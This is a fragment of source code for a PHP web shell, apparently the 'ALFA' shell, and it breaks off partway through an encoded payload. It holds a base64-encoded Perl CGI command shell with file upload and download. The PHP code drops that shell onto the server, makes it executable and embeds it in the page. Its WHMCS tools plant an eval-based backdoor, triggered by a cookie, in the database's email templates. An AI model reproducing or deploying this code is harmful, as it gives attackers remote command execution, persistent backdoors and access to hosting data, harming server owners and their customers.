QoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJScyc7JE9VVD1zb2xldmlzaWQsZSgkT1VUKTtldmFVTsKCRPT08wMDAwTzAoJE9VVCkyZW50RGlyXVwkICI7DQoJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+DQokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpEb3dubG9hZDogPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlVXBsb2FkRm9ybQ0Kew0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOw0KCXByaW50IDw8RU5EOw0KPGNvZGU+DQoNCjxmb3JtIG5hbWU9ImYiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KJFByb21wdCB1cGxvYWQ8YnIScyc7JE9VVD1zb2xldmlzaWQsZSgkT1VUKTtldmFVTsKCRPT08wMDAwTzAoJE9VVCk+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCk9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgdmFsdWU9Im92ZXJ3cml0ZSI+DQpPdmVyd3JpdGUgaWYgaXQgRXhpc3RzPGJyPjxicj4NClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJ1cGxvYWQiPg0KPC9mb3JtPg0KPC9jb2RlPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBDb21tYW5kVGltZW91dA0Kew0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgkJcHJpbnQgPDxFTkQ7DQo8L3htcD4NCg0KPGNvZGU+DQpDb21tYW5kIGV4Y2VlZGVkIG1heGltdW0gdGltZSBvZiAkQ29tbWFuZFRpbWVvdXREdXJhdGlvbiBzZWNvbmQocykuDQo8YnI+S2lsbGVkIGl0IQ0KRU5EDQoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCQlleGlScyc7JE9VVD1zb2xldmlzaWQsZSgkT1VUKTtldmFVTsKCRPT08wMDAwTzAoJE9VVCk0Ow0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0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tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Scyc7JE9VVD1zb2xldmlzaWQsZSgkT1VUKTtldmFVTsKCRPT08wMDAwTzAoJE9VVCktLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBEb3dubG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgZG93bmxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCXJldHVybjsNCgl9DQoJDQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfA0KCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQkmUHJpbnRScyc7JE9VVD1zb2xldmlzaWQsZSgkT1VUKTtldmFVTsKCRPT08wMDAwTzAoJE9VVCkEb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiZSZWFkUGFyc2U7DQomR2V0Q29va2llczsNCg0KJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsNCiRTZXJ2ZXJOYW1lID0gJEVOVnsnU0VSVkVSX05BTUUnfTsNCiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307DQokUnVuQ29tbWFuZCA9ICRpbnsnYyd9Ow0KJFRyYW5zZmVyRmlsZSA9ICRpbnsnZid9Ow0KJE9wdGlvbnMgPSAkaW57J28nfTsNCg0KJEFjdGlvbiA9ICRpbnsnYSd9Ow0KJEFjdGlvbiA9ICJsb2dpbiIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQNCg0KIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUgY29tbWFuZHMgd2lsbCBiZSBleGVjdXRlZA0KJEN1cnJlbnREaXIgPSAkaW57J2QnfTsNCmNob3AoJEN1cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsNCg0KJExvZ2dlZEluID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOw0KDQppZigkQWN0aW9uIGVxICJsb2dpbiIgfHwgISRMb2dnZWRJbikgIyB1c2VyIG5lZWRzL2hScyc7JE9VVD1zb2xldmlzaWQsZSgkT1VUKTtldmFVTsKCRPT08wMDAwTzAoJE9VVCkhcyB0byBsb2dpbg0Kew0KCSZQZXJmb3JtTG9naW47DQoNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKSAjIHVzZXIgd2FudHMgdG8gcnVuIGEgY29tbWFuZA0Kew0KCSZFeGVjdXRlQ29tbWFuZDsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpICMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlDQp7DQoJJlVwbG9hZEZpbGU7DQp9DQplbHNpZigkQWN0aW9uIGVxICJkb3dubG9hZCIpICMgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUNCnsNCgkmRG93bmxvYWRGaWxlOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgIyB1c2VyIHdhbnRzIHRvIGxvZ291dA0Kew0KCSZQZXJmb3JtTG9nb3V0Ow0KfQ==\';
$solevisible1 = fopen(\'cgi.alfa\',\'w+\');
$solevisible2 = fwrite ($solevisible1 ,base64_decode($solevisible3));
fclose($solevisible1);
chmod(\'cgi.alfa\',0755);
echo \'<iframe src=cgialfa/cgi.alfa width=100% height=600px frameborder=0></iframe> \';
echo "</div>";
alfafooter();
}
function alfaWhmcs(){
alfahead();
echo \'<div class=header><script>alfa1_=alfa2_="";</script><center><h3><span>| WHMCS TOOLS |</span></h3><center><h3><a href=# onclick="g(\'Whmcs\',null,\'shellinject\',null)">| Shell Injector | </a><a href=# onclick="g(\'Whmcs\',null,null,null,\'repair\')">| Repair DB | </a><a href=# onclick="g(\'Whmcs\',null,null,\'decoder\')">| Whmcs Decoder |</a></h3></center>\';
if(isset($_POST[\'alfa3\']) && ($_POST[\'alfa3\'] == \'repair\'))
{
echo "<script>alfa3_=alfa6_=alfa7_=alfa8_=alfa9_=alfa10_=\"\";</script><center><table border=0 width=\'100%\'>
<tr><td>
<center><b><font color=\"#FFFF01\">==</font> <font color=\"#00A220\">WHMCS</font> <font color=\"#FFFFFF\">Repair</font> <font color=\"#FF0000\">Table</font><font color=\"#FFFF01\"> ==</font></b></font></center> <br>
<center><form onSubmit=\"g(\'Whmcs\',null,null,null,\'repair\',null,null,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value); return false;\" method=POST>
<table border=1>
<tr><td><font face=\'Arial\' color=\'#FFFFFF\'><b>Mysql Host</b></font></td><td><input type=text name=dbh value=localhost size=\'50\' ></td></tr>
<tr><td><font face=\'Arial\' color=\'#FFFFFF\'><b>Db User</b><br></font></td><td><input type=text name=dbu size=\'50\' ></td></tr>
<tr><td><font face=\'Arial\' color=\'#FFFFFF\'><b>Db Name</b><br></font></td><td><input type=text name=dbn size=\'50\' ></td></tr>
<tr><td><font face=\'Arial\' color=\'#FFFFFF\'><b>Db Pass</b><br></font></td><td><input type=text name=dbp size=\'50\' ></td></tr>
</table>
<input type=submit value=\'>>\'></form></center></td></tr></table></center>";
if(isset($_POST[\'alfa6\'])) {
$dbu = $_POST[\'alfa6\'];
$dbn = $_POST[\'alfa7\'];
$dbp = $_POST[\'alfa8\'];
$dbh = $_POST[\'alfa9\'];
$newindex = "<p>Dear {\$client_name},</p><p>Recently a request was submitted to reset your password for our client area. If you did not request this, please ignore this email. It will expire and become useless in 2 hours time.</p><p>To reset your password, please visit the url below:<br /><a href=\"{\$pw_reset_url}\">{\$pw_reset_url}</a></p><p>When you visit the link above, your password will be reset, and the new password will be emailed to you.</p><p>{\$signature}</p>{php}if(\$_COOKIE[\"sec\"] == \"123\"){eval(base64_decode(\$_COOKIE[\"sec2\"])); die(\"!\");}{\/php}";
if (!empty($dbh) && !empty($dbu) && !empty($dbn))
{
mysql_connect($dbh,$dbu,$dbp) or die(mysql_error());
mysql_select_db($dbn) or die(mysql_error());
$inject = "UPDATE tblemailtemplates SET message=\'$newindex\' WHERE id=\'37\'";
$result = mysql_query($inject) or die (mysql_error());
echo "<script>alert(\'Table Repaired :D\');</script>";
}
}
}
if(isset($_POST[\'alfa1\']) && ($_POST[\'alfa1\'] == \'shellinject\'))
{
echo "<script>alfa2_=alfa3_=alfa6_=alfa7_=alfa8_=alfa9_=alfa10_=\"\";</script><center><table border=0 width=\'100%\'>
<tr><td>
<center><b><font color=\"#FFFF01\">==</font> <font color=\"#00A220\">WHMCS</font> <font color=\"#FFFFFF\">Shell</font> <font color=\"#FF0000\">Injector</font><font color=\"#FFFF01\"> ==</font></b></center><br>
<center><form onSubmit=\"g(\'Whmcs\',null,\'shellinject\',null,null,null,null,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,null); return false;\" method=POST>
<table border=1>
<tr><td><font face=\'Arial\' color=\'#FFFFFF\'><b>Mysql Host</b></font></td><td><input type=text name=dbh value=localhost size=\'50\' ></td/></tr>
<tr><td><font face=\'Arial\' color=\'#FFFFFF\'><b>Db User</b><br></font></td><td><input type=text name=dbu size=\'50\' ></td/></tr>
<tr><td><font face=\'Arial\' color=\'#FFFFFF\'><b>Db Name</b><br></font></td><td><input type=text name=dbn size=\'50\' ></td/></tr>
<tr><td><font face=\'Arial\' color=\'#FFFFFF\'><b>Db Pass</b><br></font></td><td><input type=text name=dbp size=\'50\' ></td/></tr>
</table>
<input type=submit value=\'>>\'></form></center></td></tr></table></center>";
if(isset($_POST[\'alfa6\'])) {
$dbu = $_POST[\'alfa6\'];
$dbn = $_POST[\'alfa7\'];
$dbp = $_POST[\'alfa8\'];
$dbh = $_POST[\'alfa9\'];
$index = "{php}eval(base64_decode(\'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBTkNtVmphRzhnSWp4MGFYUnNaVDVUYjJ4bGRtbHphV0pzWlNCVmNHeHZZV1JsY2p3dmRHbDBiR1UrWEc0aU93MEtaV05vYnlBaVBDOW9aV0ZrUGx4dUlqc05DbVZqYUc4Z0lqeGliMlI1SUdKblkyOXNiM0k5SXpBd01EQXdNRDVjYmlJN0RRcGxZMmh2SUNJOFluSStYRzRpT3cwS1pXTm9ieUFpUEdObGJuUmxjajQ4Wm05dWRDQmpiMnh2Y2oxY0luZG9hWFJsWENJK1BHSStXVzkxY2lCSmNDQkJaR1J5WlhOeklHbHpQQzlpUGlBOFptOXVkQ0JqYjJ4dmNqMWNJbmRvYVhSbFhDSStQQzltYjI1MFBqd3ZZMlZ1ZEdWeVBpQmNiaUk3RFFwbFkyaHZJQ0k4WW1sblBqeGlhV2MrUEdadmJuUWdZMjlzYjNJOVhDSWpOME5HUXpBd1hDSStQR05sYm5SbGNqNWNiaUk3RFFwbFkyaHZJQ1JmVTBWU1ZrVlNXeWRTUlUxUFZFVmZRVVJFVWlkZE93MEtaV05vYnlBaVBDOWpaVzUwWlhJK1BDOW1iMjUwUGp3dllUNDhabTl1ZENCamIyeHZjajFjSWlNM1EwWkRNREJjSWo1Y2JpSTdEUXBsWTJodklDSThZbkkrWEc0aU93MEtaV05vYnlBaVBHSnlQbHh1SWpzTkNtVmphRzhnSWp4alpXNTBaWEkrUEdadmJuUWdZMjlzYjNJOVhDSWpOME5H